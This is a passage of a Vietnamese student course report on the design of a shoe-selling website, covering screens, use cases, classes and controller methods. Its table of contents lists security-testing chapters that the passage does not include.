You are on page 1of 95

GIÁO DỤC VÀ ĐÀO TẠO

TRƯỜNG ĐẠI HỌC SƯ PHẠM KỸ THUẬT TP. HỒ CHÍ MINH

KHOA CÔNG NGHỆ THÔNG TIN

BÁO CÁO CUỐI KỲ


BẢO MẬT WEB

WEBSITE BÁN GIÀY


Nhóm thực hiện: 09

THÀNH PHỐ HỒ CHÍ MINH – 06/2020


Sinh viên thực hiện: 1. Huỳnh Thị Kiều Oanh
2. Đă ̣ng Thị Thư
3. Lê Đức Trọng
Học kỳ :II - Năm học : 2019-2020
THÀNH PHỐ HỒ CHÍ MINH – 06/2020
Họ tên sinh viên thực hiện đề tài

1
STT Họ và tên MSSV
1 Huỳnh Thị Kiều Oanh 17110344
2 Đă ̣ng Thị Thư 17110375
3 Lê Đức Trọng 17110391

MỤC LỤC

2
1. MỤC ĐÍCH, YÊU CẦU, TỔNG QUAN: 6
2. TRÌNH BÀY BÀI TẬP LỚN: 6
2.1. Mô tả phân công công việc 6
2.2. Thiết kế giao diện 7
2.2.1 Màn hình trang chủ 13
2.2.2 Màn hình đăng nhập 15
2.2.3 Màn hình chi tiết sản phẩm 15
2.2.4 Màn hình giỏ hàng 16
2.2.5 Màn hình xác nhận đơn hàng 17
2.2.6 Màn hình đơn đặt hàng (admin) 18
2.2.7 Màn hình chi tiết đơn đặt hàng (admin) 18
2.2.8 Màn hình chỉnh sửa đơn hàng (Admin) 19
2.2.9 Màn hình danh sách nhân viên (Admin) 19
2.2.10 Màn hình sửa thông tin nhân viên (Admin) 20
2.2.11 Màn hình đăng ký 20
2.2.12 Màn hình danh sách loại giay 21
2.2.13 Màn hình thêm loại giày 21
2.2.14 Màn hình sửa loại giày 22
2.2.15 Màn hình xem loại giày 22
2.2.16 Màn hình danh sách thương hiệu 23
2.2.17 Màn hình thêm thương hiệu 23
2.2.18 Màn hình sửa thương hiệu 24
2.2.19 Màn hình xem thương hiệu 24
2.2.20 Màn hình danh sách nhà cung cấp 25
2.2.21 Màn hình thêm nhà cung cấp 25
2.2.22 Màn hình sửa nhà cung cấp 26
2.2.23 Màn hình xem nhà cung cấp 26
2.2.24 Màn hình danh sách giày 27

3
2.2.25 Màn hình thêm giày 27
2.2.26 Màn hình sửa giày 28
2.2.27 Màn hình xem chi tiết giày 28
2.2.28 Màn hình đổi thông tin cá nhân 29
2.2.29 Màn hình đổi password 29
2.3. Đặc tả phần mềm 30
2.4. Thiết kế code 38
2.4.1. Danh mục các lớp được sử dụng trong chương trình 38
2.4.2.1. Bảng mô tả các phương thức trong lớp [AdminUsersController] 42
2.4.2.2. Bảng mô tả các phương thức trong lớp [BrandsController] 43
2.4.2.3. Bảng mô tả các phương thức trong lớp [OrderController] 44
2.4.2.4. Bảng mô tả các phương thức trong lớp [OrderDetailsController] 46
2.4.2.5. Bảng mô tả các phương thức trong lớp [ProvidersController] 47
2.4.2.6. Bảng mô tả các phương thức trong lớp [ProviderShoesController] 49
2.4.2.6. Bảng mô tả các phương thức trong lớp [ShoesController] 50
2.4.2.7. Bảng mô tả các phương thức trong lớp [ShoesTypeController] 52
2.5. Thiết kế CSDL 54
2.5.1. Mô hình diagram 54
2.5.2. Mô hình ERD 55
2.5.2.1 Bảng mô tả các trường trong bảng Providers 55
2.5.2.2. Bảng mô tả các trường trong ProviderShoes 56
2.5.2.3. Bảng mô tả các trường trong Brands 56
2.5.2.4. Bảng mô tả các trường trong ShoesTypes 56
2.5.2.5. Bảng mô tả các trường trong Shoes 57
2.5.2.6. Bảng mô tả các trường trong Orders 58
2.5.2.7. Bảng mô tả các trường trong OrderDetails 59
3. CÀI ĐẶT MÔI TRƯỜNG 59
3.1. Cài đặt Visual Studio 2019: 59
3.1.1. Download Visual Studio 2019 59

4
3.1.2. Cài đă ̣t Visusal Studio 2020 60
3.2. Cài đặt SQL Server 2017 67
4. CHẠY CHƯƠNG TRÌNH: 73
5. CÁC LỖI BẢO MẬT – NGUYÊN NHÂN – GIẢI PHÁP NGĂN CHẶN CŨNG NHƯ
CHỈNH SỬA CÁC LỖI XUẤT HIỆN TRONG PROJECT 76
5.1 SQL injection: 76
5.2 Broken Authentication 78
5.2.1: Authentication Bypasses: 78
5.2.2: JWT Tokens: 78
5.2.3: Password reset: 78
5.2.4: Secure password: 79
5.3 Sensitive Data Exposure 79
5.4 XML External Entities (XXE) 80
5.5 Broken Access Control: 81
5.6 Security Misconfiguration 82
5.7 Cross site Scripting(XSS) 83
5.8 Insecure Deserialization 85
5.9 Using Components with Known Vulnerabilities 86
5.10 Insufficent Logging &Monitoring 86
5.11. Denial of service 87
5.10.1 ZipBomb 88
5.11: Các lỗi khi sử dụng ZAP 90
5.11.1 X-Frame-Option 90
5.12 Các lỗi khi sử dụng SQL MAP 91
5.13. Burp Suite 92
6. Thêm tính năng bảo mật cho trang WEB 93
7. Tài liệu tham khảo 94

5
BÁO CÁO ĐỒ ÁN MÔN LẬP TRÌNH WEB

1. MỤC ĐÍCH, YÊU CẦU, TỔNG QUAN:


Mục đích: Tìm hiểu, phát hiện các lỗ hổng có thể tấn công vào trang web sau đó
tiến hành kiểm thử và sửa lỗ hổng đó.
Yêu cầu: Hiểu rõ được các hình thức tấn công, kiểm thử các tấn công đó và sửa
thành công các lỗ hổng phát sinh
Tổng quan về trang web: Trang web là mô ̣t trang web buôn bán giày. Người mua
có thể đă ̣t giày và để lại thông tin cá nhân và lịch hẹn khi đă ̣t giày. Nhân viên cửa
hàng dựa vào thông tin người mua và phân chia ai sẽ là người tiếp khách hàng.
Nhân viên sẽ được cấp mô ̣t tài khoản dùng để đăng nhâ ̣p vào. Trang web khi đăng
nhâ ̣p có hai loại tài khoản là Super Addmin và Admin. Super Admin có toàn quyền
đối với trang trong khi Admin chỉ có xem đơn hàng mình đã được phân công và
câ ̣p nhâ ̣t trên đơn hàng đó.

2. TRÌNH BÀY BÀI TẬP LỚN:

2.1. Mô tả phân công công việc

Tên SV Đánh giá chung Mô tả khái quát mảng công việc


phần trăm đóng góp SV thực hiện trong đồ án.
Huỳnh Thị Kiều Oanh 50% Tâ ̣p chung vào phần quản lý
đơn hàng, và người dùng.
Đăng Thị Thư 50% Tâ ̣p trung vào quản lý các thông
tin liên quan đến giày.

6
SV hãy tự đánh giá mức độ hoàn thành được mục tiêu của project. Các khó khăn gặp
phải, khắc phục thế nào, ý tưởng phát triển đồ án. Những khuyết điểm của đồ án. Những
ưu điểm.

2.2. Thiết kế giao diện

TT Màn hình Người thiết kế & giải thích Mục đích


chính/Cửa
sổ/Dialog
1 MH 1: Đặng Thị Thư và Huỳnh Thị Kiều Hiển thị thông tin
Trang chủ Oanh. Giao diện gồm 3 phần chính: quan trọng nhất của
phần đầu trang là tên, logo của trang, trang web
giỏ hàng và nơi đăng nhập. Tiếp theo là
các loại giày và thanh tìm kiếm. Ở cuối
trang là nơi hiển thị các bên đối tác.
2 MH 2: Đặng Thị Thư và Huỳnh Thị Kiều Đăng nhập vào hệ
Màn hình Oanh. Màn hình gồm phần chính là thống
đăng nhập khung đăng nhập giữa màn hình, với 2
ô textbox, cho phép người dùng đăng
nhập vào hệ thống với tên đăng nhập và
mật khẩu đã đăng kí trước đó, và 1
button submit để xác nhận đăng nhập
vào hệ thống
3 MH 3: Đặng Thị Thư và Huỳnh Thị Kiều Hiển thị thông tin
Màn hình Oanh. Bao gồm các thông tin cơ bản của giày và cho
chi tiết sản của giày như: tên, màu sắc, kích cỡ, khách hàng có thể
phẩm giá, hiệu… và hình ảnh mô tả sản thêm sản phẩm vào

7
phẩm. Phía dưới thông tin của sản giỏ hàng.
phẩm có nút để thêm vào giỏ hàng và
quay lại trang chủ.
4 MH 4: Đặng Thị Thư và Huỳnh Thị Kiều Hiển thị các sản
Màn hình Oanh. Hiển thị các sản phẩm mà khách phẩm đã thêm vào
giỏ hàng hàng đã thêm vào giỏ hàng và đặt lịch giỏ hàng và đặt lịch
hẹn. Bên cạnh mỗi sản phẩm có nút để hẹn.
bỏ sản phẩm đó ra khỏi giỏ hàn.
5 MH 5: Đặng Thị Thư và Huỳnh Thị Kiều Cho khách hàng xác
Màn hình Oanh. Gồm hai phần là lịch hẹn và nhận lại các mặt
xác nhận thông tin của các sản phẩm đã mua. hàng mình đã mua
đơn hàng và lịch hẹn.
6 MH 6: Đặng Thị Thư và Huỳnh Thị Kiều Hiển thị các đơn đặt
Màn hình Oanh. Hiển thị các đơn đặt hàng của hàng của khách.
đơn đặt khách. Gồm 2 phần chính là khung tìm
hàng kiếm và danh sách các đơn đặt hàng.
(admin) Khung tìm kiếm có thể tìm theo tên,
Email, số điện thoại, địa chỉ hay ngày
hẹn. Bên cạnh mỗi đơn có ba nút để
xem, sửa và xóa. Bên trái của màn hình
là thanh menu để di chuyển giữa các
mục.
7 MH 7: Đặng Thị Thư và Huỳnh Thị Kiều Hiển thị toàn bộ
Màn hình Oanh. Gồm 2 phần bên trái là lịch hẹn thông tin của đơn
chi tiết của khách và bên phải là thông tin các hàng.
đơn đặt sản phẩm của đơn hàng.
hàng
(admin)
8 MH 8: Đặng Thị Thư và Huỳnh Thị Kiều Chỉnh sửa lại lịch
Màn hình Oanh. Gồm 2 phần: bên trái là các hẹn và thông tin sản
chỉnh sửa textbox để chỉnh sửa thông tin về lịch phẩm của đơn hàng.
đơn hàng hẹn và bên phải là thông tin của sản

8
(Admin) phẩm. Phía bên dưới có nút Update để
lưu lại hay Back to List để quay lại
màn hình danh sách đơn hàng.
9 MH 9: Đặng Thị Thư và Huỳnh Thị Kiều Xem toàn bộ danh
Màn hình Oanh. Gồm một bảng chứa các thông sách nhân viên.
danh sách tin của nhân viên như tên, Email, số
nhân viên điện thoại và trạng thái hoạt động. Bên
(Admin) phải của mỗi nhân viên có hai nút để
sửa và xóa
10 MH 9: Đặng Thị Thư và Huỳnh Thị Kiều Chỉnh sửa lại tên
Màn hình Oanh. Gồm 3 textbox hiển thị tên, hoặc số điện thoại
sửa thông Email và số điên thoại của nhân viên, của nhân viên.
tin nhân chỉ sửa được tên và số điện thoại. Bên
viên dưới là hai button để lưu và quay trở lại
(Admin) màn hình danh sách nhân viên
11 MH 11: Đặng Thị Thư và Huỳnh Thị Kiều Đăng ký một tài
Màn hình Oanh. Màn hình gồm các textbox để khoảng mới.
đăng ký điền thông tin của account mới và
checkbox để cấp quyền Super Admin,
dưới cùng là button xác nhận đăng ký.
Sau khi đăng ký thành công thì được
chuyển về màn hình danh sách nhân
viên.
12 MH 12: Đặng Thị Thư và Huỳnh Thị Kiều Hiển thị tất cả các
Màn hình Oanh. Gồm một bảng hiện thị danh loại giày.
danh sách sách các loại giày. Bên phải trên của
loại giay bản là một button chuyển đến màn hình
thêm loại giày mới. Bên phải của mỗi
loại giày là ba button để xem, sửa và
xóa.
13 MH 13: Đặng Thị Thư và Huỳnh Thị Kiều Thêm một lại giày
Màn hình Oanh. Gồm một textbox để nhập tên mới

9
thêm loại loại giày và hai button để lưu và quay
giày trở lại trang danh sách loại giày
14 MH 14: Đặng Thị Thư và Huỳnh Thị Kiều Sửa lại tên của loại
Màn hình Oanh. Gồm một textbox để nhập tên giày
sửa loại loại giày và hai button để lưu và quay
giày trở lại trang danh sách loại giày
15 MH 15: Đặng Thị Thư và Huỳnh Thị Kiều Xem thông tin loại
Màn hình Oanh. Gồm một textbox hiện tên loại giày.
xem loại giày và hai button để chuyển đến trang
giày sửa loại giày và quay trở lại trang danh
sách loại giày
16 MH 16: Đặng Thị Thư và Huỳnh Thị Kiều Hiển thị tất cả các
Màn hình Oanh. Gồm một bảng hiện thị danh thương hiệu.
danh sách sách các loại giày. Bên phải trên của
thương bản là một button chuyển đến màn hình
hiệu thêm hiệu mới. Bên phải của mỗi loại
thương hiệu là ba button để xem, sửa
và xóa.
17 MH 17: Đặng Thị Thư và Huỳnh Thị Kiều Thêm thương hiệu
Màn hình Oanh. Gồm hai textbox hiện tên và mới.
thêm quốc gia của thương hiệu và hai button
thương để lưu và quay trở lại trang danh sách
hiệu thương hiệu.
18 MH 18: Đặng Thị Thư và Huỳnh Thị Kiều Sửa lại tên và quốc
Màn hình Oanh. Gồm hai textbox hiện tên và gia của thương hiệu.
sửa quốc gia của thương hiệu và hai button
thương để lưu và quay trở lại trang danh sách
hiệu thương hiệu.
19 MH 19: Đặng Thị Thư và Huỳnh Thị Kiều Xem tên và quốc gia
Màn hình Oanh. Gồm hai textbox hiện tên và của thương hiệu.
xem quốc gia của thương hiệu và hai button

10
thương để chuyển đến trang sửa thương hiệu và
hiệu quay trở lại trang danh sách thương
hiệu.
20 MH 20: Đặng Thị Thư và Huỳnh Thị Kiều Hiển thị tất cả các
Màn hình Oanh. Gồm một bảng hiện thị danh nhà cung cấp.
danh sách sách các nhà cung cấp. Bên phải trên
nhà cung của bản là một button chuyển đến màn
cấp hình thêm nhà cung cấp mới. Bên phải
của mỗi nhà cung cấp là ba button để
xem, sửa và xóa.
21 MH 21: Đặng Thị Thư và Huỳnh Thị Kiều Thêm một nhà cung
Màn hình Oanh. Gồm hai textbox hiện tên và địa cấp mới.
thêm nhà chỉ của nhà cung cấp và hai button để
cung cấp lưu và quay trở lại trang danh sách nhà
cung cấp.
22 MH 22: Đặng Thị Thư và Huỳnh Thị Kiều Sửa lại tên và địa
Màn hình Oanh. Gồm hai textbox hiện tên và địa chỉ của nhà cung
sửa nhà chỉ của nhà cung cấp và hai button để cấp.
cung cấp lưu và quay trở lại trang danh sách nhà
cung cấp.
23 MH 23: Đặng Thị Thư và Huỳnh Thị Kiều Xem tên và địa chỉ
Màn hình Oanh. Gồm hai textbox hiện tên và địa của nhà cung cấp.
xem nhà chỉ của nhà cung cấp và hai button để
cung cấp chuyển đến trang sửa nhà cung cấp và
quay trở lại trang danh sách nhà cung
cấp.
24 MH 24: Đặng Thị Thư và Huỳnh Thị Kiều Hiển thị thông tin
Màn hình Oanh. Gồm một bảng hiện thị danh của tất cả giày
danh sách sách giày. Bên phải trên của bản là một
giày button chuyển đến màn hình thêm giày
mới. Bên phải của mỗi giày là ba
button để xem, sửa và xóa.

11
25 MH 25: Đặng Thị Thư và Huỳnh Thị Kiều Thêm giày mới.
Màn hình Oanh. Gồm các textbox để nhập thông
thêm giày tin của giầy, checkbox để xác định nhà
cung cấp, hai combobox để xác định
loại giày và thương hiệu. Bên dưới là
hai button để lưu lại và quay trở lại
trang danh sách giày.
26 MH 26: Đặng Thị Thư và Huỳnh Thị Kiều Sửa lại các thông tin
Màn hình Oanh. Gồm các textbox để nhập thông của giày hay update
sửa giày tin của giầy, checkbox để xác định nhà hình ảnh mới hay
cung cấp, hai combobox để xác định xác định giày không
loại giày và thương hiệu. Bên dưới là còn bán.
hai button để lưu lại và quay trở lại
trang danh sách giày.
27 MH 27: Đặng Thị Thư và Huỳnh Thị Kiều Xem thông tin của
Màn hình Oanh. Gồm các textbox để hiệ thông giày
xem chi tin của giày bên góc phải trên là hình
tiết giày ảnh của giày. Bên dưới là hai button để
chuyển đến trang sửa thông tin giày và
quay trở lại trang danh sách giày.
28 MH 27: Gồm ba textbox hiển thị username, Sửa lại Email và số
Màn hình Email và số điện thoại và một button để điện thoại của tài
đổi thông lưu thay đổi khoản.
tin cá nhân
29 MH 27: Gồm ba textbox để nhập mật khẩu hiện Đổi mật khẩu của
Màn hình tại, mật khẩu mới và xác nhận lại mật tài khoản hiện tại
đổi khẩu mới, và một button để lưu lại mật
password khẩu mơi.

12
2.2.1 Màn hình trang chủ

13
2.2.2 Màn hình đăng nhập

14
2.2.3 Màn hình chi tiết sản phẩm

15
2.2.4 Màn hình giỏ hàng

16
2.2.5 Màn hình xác nhận đơn hàng

17
2.2.6 Màn hình đơn đặt hàng (admin)

2.2.7 Màn hình chi tiết đơn đặt hàng (admin)

18
2.2.8 Màn hình chỉnh sửa đơn hàng (Admin)

2.2.9 Màn hình danh sách nhân viên (Admin)

19
2.2.10 Màn hình sửa thông tin nhân viên (Admin)

2.2.11 Màn hình đăng ký

20
2.2.12 Màn hình danh sách loại giay

2.2.13 Màn hình thêm loại giày

21
2.2.14 Màn hình sửa loại giày

2.2.15 Màn hình xem loại giày

22
2.2.16 Màn hình danh sách thương hiệu

2.2.17 Màn hình thêm thương hiệu

23
2.2.18 Màn hình sửa thương hiệu

2.2.19 Màn hình xem thương hiệu

24
2.2.20 Màn hình danh sách nhà cung cấp

2.2.21 Màn hình thêm nhà cung cấp

25
2.2.22 Màn hình sửa nhà cung cấp

2.2.23 Màn hình xem nhà cung cấp

26
2.2.24 Màn hình danh sách giày

2.2.25 Màn hình thêm giày

27
2.2.26 Màn hình sửa giày

2.2.27 Màn hình xem chi tiết giày

28
2.2.28 Màn hình đổi thông tin cá nhân

2.2.29 Màn hình đổi password

29
2.3. Đặc tả phần mềm

Hình 2.3.0 UseCase Tổng quát

30
Hình 2.3.1 UseCase Xem trang chủ

Hình 2.3.2 Usecase Đăng nhập

Hình 2.3.3 UseCase Đăng xuất

31
Hình 2.3.4 UseCase Nguoi mua hàng

Hình 2.3.5 UseCase Quản lý hóa đơn

32
Hình 2.3.6 UseCase Quản lý giày

Hình 2.3.7 UseCase Quản lý hãng giày

33
Hình 2.3.8 UseCase Quản lý loại giày

Hình 2.3.9 UseCase Quản lý nhà cung cấp

34
Hình 2.3.10 UseCase Quản lý tài khoản Admin
Mô tả Usecase
STT Chức năng Mô tả
1 Đăng nhập Nhân viên đăng nhập vào hệ thống
Admin và chủ SuperAdmin
2 Thêm hãng giày Khi có hãng mới muốn đưa vào
SuperAdmin sẽ thêm :tên , quốc gia
3 Chỉnh sửa thông tin SuperAdmin có thể chỉnh sửa thông
hãng giày tin hãng giày khi nhập sai hoặc khi có
cập nhật mới: tên hãng, quốc gia
4 Xóa thông tin hãng SupderAdmin có thể xóa thông tin
hãng giày khi hãng đó không còn
5 Thêm loại giày Khi có loại giày mới muôn đưa vào
SuperAdmin sẽ thêm :tên , địa chỉ
6 Sửa thông tin loại giày Khi thông tin loại giày có vấn đề
superAdmin có quyền sử đổi thông
tin gồm:tên , địa chỉ
7 Xóa thông tin loại giày Khi laoij giày đó không còn
superAdmin sẽ xóa thông tin

35
8 Thêm tài nhà cung cấp Khi có nhà cung cấp mới
SuperAdmin sẽ tạo tài thêm vào:tên
nhà cung cấp, địa chỉ.
9 Xóa nhà cung cấp Khi nhà cung cấp đó không còn
SuperAdmin sẽ xóađi
10 Sửa thông tin nhà cung SuperAdmin có thể chỉnh sửa thông
cấp tin nhà cung cấp khi nhập sai.
11 Thêm giày SuperAdmin có quyền thêm giày vào
danh sách:tên, màu sắc, số lượng,
hình ảnh,kích thước, hãng, nhà cung
cấp.
12 Chỉnh sửa thông tin SuperAdmin sẽ chỉnh sửa thông tin
giày giày khi nhập sai.
13 Xoa thông tin giày SuperAdmin sẽ xóa thông tin giày khi
không còn cần thiết
14 Tìm kiếm hóa đơn SuperAdmin và Admin có quyền tìm
kiếm hóa đơn đặt hanhfg của khách
hàng
15 Cập nhật thông tin hóa Khi khách hàng đặt hàng
đơn SuperAdmin và Admin có quyền xác
nhật và cập nhật ngày giao
16 Mua hàng Người mua điền những thông tin cần
thiết để xác nhận mua hàng: họ tên ,
địa chỉ, số điện thoại , ngày muốn
giao.

Bảng mô tả các actor

Tên tác nhân Công việc/vai trò

SuperAdmin  Đăng nhập vào hệ thống

36
 Thêm hãng giày
 Thêm nhà cung cấp
 Thêm loại giày
 Thêm giày.
 Thêm tài khoản (Admin)
 Chỉnh sửa thông tin hãng giày
 Chỉnh sửa thông tin nhà cung
cấp
 Chỉnh sửa thông tin giày
 Chỉnh sửa tk Admin
 Xóa hãng giày.
 Xóa giày.
 Xóa nhà cung cấp
 Xóa nhân viên
 Tìm kiếm hóa đơn
 Cập nhật hóa đơn
 Phân quyền cho admin xử lý hóa
đơn

Admin  Đăng nhâ ̣p


 Tìm kiếm hóa đơn
 Cập nhật hóa đơn

Khách hàng  Xem trang chủ


 Tìm kiếm thông tin giày
 Mua hàng
Bảng 2.3.1 Tác nhân và vai trò của tác nhân

37
2.4. Thiết kế code

2.4.1. Danh mục các lớp được sử dụng trong chương trình

TT Tên Lớp Tên các SV phụ Mục đích chính của lớp
trách trong chương trình
1 AdminUsersController Đặng Thị Thư Quản lý thêm xóa sửa thông
tin Admin, xác định view
hiển thị thông tin Admin
2 BrandsController Đặng Thị Thư Quản lý thêm xóa sửa thông
tin nhãn hàng, xác định
view hiển thị.
3 OrderController Đặng Thị Thư Quản lý thêm, xóa, sửa
thông tin Hóa đơn xác định
view hiển thị
4 OrderDetailController Đặng Thị Thư Quản lý thêm, xóa, sửa
thông tin Chi tiết hóa đơn
xác định view hiển thị
5 ProviderContronller Đặng Thị Thư Quản lý thêm, xóa, sửa,
thông tin nhà cung cấp xác
định view hiển thị
7 ProviderShoeController Đặng Thị Thư Quản lý thêm xóa sửa thông
tin nhà cung cấp loại giày
xác định view hiển thị
8 ShoesController Đặng Thị Thư Quản lý thêm xóa, sửa giày
xác định view hiển thị
9 ShoeTypeController Đặng Thị Thư Quản lý thêm, xóa, sửa
thông tin loại giày xác định
view hiển
10 HomeContronller Đặng Thị Thư Chuyển đến trang chủ nơi
khách hàng mua sắm
11 ShopingCartController Đặng Thị Thư Chuyển đến trang xác nhận
giỏ hàng
12 Model
13 Brands Đặng Thị Thư Lớp chứa thông tin khởi tạo
liên quan đến nhãn hàng
14 Providers Đặng Thị Thư Lớp chứa thông tin khởi tạo
liên quan đến Nhà cung cấp

38
15 ShoeTypes Đặng Thị Thư Lớp chứa thông tin khởi tạo
liên quan đến loại giày
16 Shoes Đặng Thị Thư Lớp chứa thông tin khởi tạo
liên quan đến giày
17 Orders Đặng Thị Thư Lớp chứa thông tin khởi tạo
liên quan đến hóa đơn
18 OrderDetails Đặng Thị Thư Lớp chứa thông tin khởi tạo
liên quan đến chi tiết hóa
đơn
19 PagingInfor Đặng Thị Thư Lớp chưa thông tin liên
quan đến việc phân trang
20 View
21 Delete trong AdminUsers Đặng Thị Thư Hiển thị trang xóa thông
tin Admin theo mã
22 Index trong AdminUsers Đặng Thị Thư Hiển thị trang thông tin của
Admin
23 Edit trong AdminUsers Đặng Thị Thư Hiển thị trang chỉnh sửa
thông tin Admin theo mã
24 Create trong Brands Đặng Thị Thư Hiển thị trang thêm thông
tin nhãn hàng
25 Details trong Brands Đặng Thị Thư Hiển thị trang thông tin chi
tiết của một nhãn hàng
26 Edit trong Brands Đặng Thị Thư Hiển thị trang chỉnh sửa
thông tin của một nhãn
hàng
27 Delete trong Brands Đặng Thị Thư Hiển thị trang xóa một nhãn
hàng
28 Index trong Brands Đặng Thị Thư Hiển thị trang có tất cả
danh sách nhãn hàng
29 Delete trong Order Đặng Thị Thư Hiển thị trang xóa thông tin
hóa đơn
30 Details trong Order Đặng Thị Thư Hiển thị trang thông tin chi
tiết hóa đơn
31 Edit trong Order Đặng Thị Thư Hiển thị trang chỉnh sửa
thông tin hóa đơn
32 Index trong Order Đặng Thị Thư Hiển thị trang danh sách
hóa đơn
33 ExxportPDF trong Order Đặng Thị Thư Hiển thị trang cho phép
export sang PDF

39
34 Delete trong OrderDetail Đặng Thị Thư Hiển thị trang xóa chi tiết
hóa đơn
35 Details trong OrderDetail Đặng Thị Thư Hiển thị trang thông tin chi
tiết của chi tiết hóa đơn
36 Edit trong OrderDetail Đặng Thị Thư Hiển thị trang chỉnh sửa
thông tin chi tiết hóa đơn
37 Create trong Providers Đặng Thị Thư Hiển thị trang thêm nhà
cung cấp
38 Delete trong Providers Đặng Thị Thư Hiển thị trang xóa thông tin
nhà cung cấp
39 Details trong Providers Đặng Thị Thư Hiển thị trang thông tin chi
tiết của nhà cung cấp
40 Edit trong Providers Đặng Thị Thư Hiển thị trang chỉnh sửa
thông tin của nhà cung cấp
41 Index trong Providers Đặng Thị Thư Hiển thị trang danh sách
nhà cung cấp
42 Create trong ProviderShoes Đặng Thị Thư Hiển thị trang thêm nhà
cung cấp loại giày nhất
định
43 Edit trong ProviderShoes Đặng Thị Thư Hiển thị trang chỉnh sửa
thông tin nhà cung cấp loại
giày nhất định
44 Details trong Đặng Thị Thư Hiển thị trang thông tin chi
ProviderShoes tiết của nhà cung cấp loại
giày nhất định
45 Delete trong ProviderShoes Đặng Thị Thư Hiển thị trang xóa thông tin
nhà cung cấp loại giày
46 Index trong ProviderShoes Đặng Thị Thư Hiển thị danh sách các nhà
cung cấp các loại giày
47 Create trong Shoes Đặng Thị Thư Hiển thị trang thêm thông
tin giày
48 Edit trong Shoes Đặng Thị Thư Hiển thị trang chỉnh sửa
thông tin giày
49 Details trong Shoes Đặng Thị Thư Hiển thị trang thông tin chi
tiết của giày
50 Delete trong Shoes Đặng Thị Thư Hiển thị trang xóa thông tin
giày
51 Index trong Shoes Đặng Thị Thư Hiển thị trang danh sách
giày

40
52 Create trong ShoeTypes Đặng Thị Thư Hiển thị trang thêm thông
tin loại giày
53 Details trong ShoeTypes Đặng Thị Thư Hiển thị trang thông tin chi
tiết loại giày
54 Delete trong ShoeTypes Đặng Thị Thư Hiển thị trang xóa thông tin
loại giày
55 Edit trong ShoeTypes Đặng Thị Thư Hiển thị trang chỉnh sửa
thông tin loại giày
56 Index trong ShoeTypes Đặng Thị Thư Hiển thị trang danh sách
loại giày
57 Index trong Home của Đặng Thị Thư Hiển thị trang chủ mua sách
Customer của khách hàng
58 Details trong Home của Đặng Thị Thư Hiển thị thông tin chi tiết
Customer sản phẩm được chọn
59 ConfirmOder trong Đặng Thị Thư Hiển thị trang xác nhận
ShoppingCart mua hàng
60 Index trong ShoppingCart Đặng Thị Thư Hiển thị danh sách đã xác
nhận đặt hàng
61 Layout Đặng Thị Thư Hiển thị trang chủ cho
Admin
62 LayoutCustomer Đặng Thị Thư Hiển thị trang chủ cho
khách hàng
63 LoginPartial Đặng Thị Thư Hiển thị trang đăng nhập
64 OrderCustomerDetails Đặng Thị Thư Hiển thị trang danh sách
hóa đơn xác nhận của
khách hàng
65 OrderShoeDetails Đặng Thị Thư Hiển thị chi tiết hóa đơn
,cần xác nhận cho khách
hàng
66 CheckBoxViewModel Đặng Thị Thư Lớp chứa thông tin khởi tạo
liên quan đến tạo check
thông tin
67 HomeViewModel Đặng Thị Thư Lớp khởi tạo để dễ dàng
trong việc phân trang giày,
tìm kiếm
68 OrderDetailsViewModel Đặng Thị Thư Lớp khởi tạo chi tiết nhân
viên thực hiện xác nhận chi
tiết hóa đơn
69 OrderViewModel Đặng Thị Thư Lớp khởi tạo thông tin hóa

41
đơn và phân trang
70 ProviderShoesModel Đặng Thị Thư Lớp khởi tạo thông tin của
nhà cung cấp và loại giày
71 ShoesViewModel Đặng Thị Thư Lớp khởi tạo thông tin liên
quan đến giày, loại giày,
nhà cung cấp
72 ShoppingCartViewModel Đặng Thị Thư Lớp khởi tạo thông tin liên
quán đến giày và hóa đơn

2.4.2. Mô tả các phương thức (được sử dụng trong chương trình) của các lớp.

2.4.2.1. Bảng mô tả các phương thức trong lớp [AdminUsersController]

T Tên phương Mục đích Input Output Mã giả Tên file có


T thức chính của gọi sử dụng
phương thức phương thức.
trong chương Liệt kê số
trình dòng vị trí
gọi.
1 Index Trả về trong Trả về 1 AdminUsers
view danh View Controller
sách Admin danh dòng 55,80
sách
2 Edit Thực hiện string Trả về 1
hiện thị ra id View
thông tin cần thông tin
chỉnh sửa admin
3 PostEdit Thực hiện string Trả về là Edit.cshtml
chỉnh sửa id, View dòng 7
thông tin lưu Applic thông tin
vào database ationU đã chỉnh
ser sửa
admin

42
4 Delete Thực hiển string Trả về 1
hiển thị thông id View
tin cần xóa thông tin
admin
5 PostDelete Thực hiện với string Trả về Delete.cshtml
database xóa id, View dòng 7
thông tin Apllica thông tin
tionUs khi đã
eradmi xóa
n

2.4.2.2. Bảng mô tả các phương thức trong lớp [BrandsController]

T Tên phương Mục đích chính Input Output Mã giả Tên file có
T thức của phương gọi sử dụng
thức trong phương thức.
chương trình Liệt kê số
dòng vị trí
gọi.
1 Index Trả về View Trả về 1 BrandsContro
danh sách nhãn View ller dòng
hàng danh 39,64,94
sách
2 PostCreate Thực hiện với Brand Trả về Create.cshtml
databse thêm s View dòng 7
thông tin nhãn Brand thông tin
hàng chỉnh
sửa
3 Edit Thực hiện hiện string Trả về là
thị ra thông tin id View
cần chỉnh sửa thông tin
cần

43
chỉnh
sửa
4 PostEdit Thực hiện int ? Trả về Edit.cshtml
chỉnh sửa id, View dòng 7
thông tin lưu Brand thông tin
vào database s đã chỉnh
brach sửa
5 Delete Thực hiển hiển int ?id Trả về 1
thị thông tin View
cần xóa thông tin
cần xóa
6 PostDelete Thực hiện với int ?id Trả về Delete.cshtml
database xóa View dòng 7
thông tin thông tin
sau khi
xóa
7 Details Hiển thị chi tiết Int ?id Trả về là
thông tin View
thông tin
chi tiết

2.4.2.3. Bảng mô tả các phương thức trong lớp [OrderController]

T Tên phương Mục đích chính Input Output Mã giả Tên file có
T thức của phương gọi sử dụng
thức trong phương thức.
chương trình Liệt kê số
dòng vị trí
gọi.
1 Index Trả về View Trả về OrderControll
danh sách hóa 1 View er dòng
đơn danh 154,200

44
sách OrderDetails
Controller
dòng 39,68
2 ExxportPDF Thực hiện với Trả về
export ra file ViewAs
pdf Pdf
3 Edit Thực hiện hiện int ?id Trả về
thị ra thông tin là View
cần chỉnh sửa danh
sách chi
tiết hóa
đơn của
hóa đơn
cần
chỉnh
sửa
4 PostEdit Thực hiện int ?id, Trả về
chỉnh sửa OrderD View
thông tin lưu etailsV thông
vào database iewMo tin đã
del chỉnh
ojOrde sửa
rView
Model
5 Delete Thực hiển hiển int ?id Trả về
thị thông tin là View
cần xóa danh
sách chi
tiết hóa
đơn của
hóa đơn
6 DeleteComfir Thực hiện với int id Trả về

45
med database xóa View
thông tin thông
tin sau
khi xóa
